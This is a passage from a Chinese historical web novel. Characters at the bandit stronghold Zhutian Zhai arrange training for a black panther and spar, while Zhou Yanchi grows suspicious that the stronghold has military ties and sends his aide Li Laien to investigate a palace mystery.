陈酒想了会,摇头:“没有,我只告诫过它要乖乖的,不能乱窜。且我挥刀的时候它都在一旁看着,有时候会偷跑出去又偷跑回来。”
“那你可以考虑考虑训一下它,据我观察,黑豹拥有极高的速度和敏锐力。”
“训练成功它能和我一起练习吗?”
“很容易,不过我好奇是谁来训它。”
寨子后面多出整片地,而那些便建成了训练营。
拐走停停,周延池跟着陈酒来到了后寨。
不同于前面,后寨所有地方都是连在一起,所用兵器整齐放在西角建的仓库里。
阳光好时节,正是练习的时间。
出乎意料,甄榆也在此。
她耍着枪在一旁玩的不亦乐乎。
周延池是见识过甄榆身手的,如今算是知道烛天寨的人哪来的本领。
陈酒来到坐着板凳沐浴于阳
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光下的一位汉子,向他介绍。
“这便是寨中监督兄弟们训练的王伯。王伯以前驯服过猛兽,黑豹交给他刚好专业对口。”
长话短说来的目的,王伯很爽快应了下来。
“没问题,这事包在我身上。对了,三当家,好不容易来一趟,与我切磋切磋呗。”
“行吧。”
周延池不打扰他们,自觉闲逛起。
这寨中,凑热闹是每个人的天性,有人切磋的消息顿时吸引一圈人围观。
而地方是用树建成的一个圈。
为了不影响发挥,打斗擂台的空间很大,快占了一块地。
打斗者进圈各站一处,敲锣声响起,切磋开始。
“咚──”
鼓声回响,叫嚷声逐渐出现。
“三当家加油。”
“王伯,撑住!”
与那对比,甄榆独自挥枪的画面别有一番风味。
周延池在一旁观望,怕打扰到甄榆。
没过多久,甄榆手臂酸疼,她擦了把额上的汗甩了甩手,目光一瞄,瞧见了周延池。
周延池赞赏地鼓起了掌:“没想到烛天寨的大当家挥的一手好枪。”
语气交杂打趣意味,甄榆笑了笑。
“找我有事?”
周延池点头:“鱼苗变多,那池塘撑不下了。”
甄榆拍了下脑袋。
她怎么还把这忘了,光顾着管田地竟忽略了早先养下的鱼。
“简单,扩大范围就行,养鱼的地方殃及不到田地,你看着除土就行。”
完全把处理权交给了他。
周延池点点头,计划回去再说。
“王伯加油啊!”
呼喊声还未停止,二人好奇上前。
甄榆发现寨里有训练营时便问了陈酒,一般而言,作为山贼是没有像官兵一样拥有严谨的秩序和操练。
且他们日常练兵所做的动作也不是平常山贼所能想到的。
唯一猜到的念头是这寨的老寨主当过兵。
果不其然,陈酒道是老寨主怕寨中人遇事不能反抗,要求每青壮年若无身体缺陷参加操练,多少要练就防身本领。
甄榆听后,对老寨主的好感度是越开越高。
可周延池不这么想,虽然陈酒在此之前简单提起过,但瞧着陈酒有模有样的防身进攻动作,显然一冷。
他曾在军队带过一段时间,对是不是军队招式一眼便可看出。
而二人所出的动作明显是京城军队才有。
这下,激发起揭察烛天寨到底是什么。
像样的兵器,有序的部队,合理的安排……
哪哪透露出不是简单山贼这么简单。
可他过几天要前往长古城。
那人是否存在,烛天寨异常表现都还是个迷。
晚,他叫来李来恩。
“什么?可是……恕我不能从命。”
“来恩!你是我最信任的部下,这任务交给别人我不放心。”
“可是,主子,万一五皇子真的不在又该如何?”
“寻那人不是让你必须留下的其中之一,还有这烛天寨到底是什么。”
周延池转身,背对李来恩:“我最近听关于这寨中的老寨主生前事,隐约中似乎和七年前娴妃之死有关。”
见此,李来恩只好应下。
送走了人,吹灭了蜡烛,后方竹木房里出神的闻伍郎低声喃喃:“我们很快便会见面。”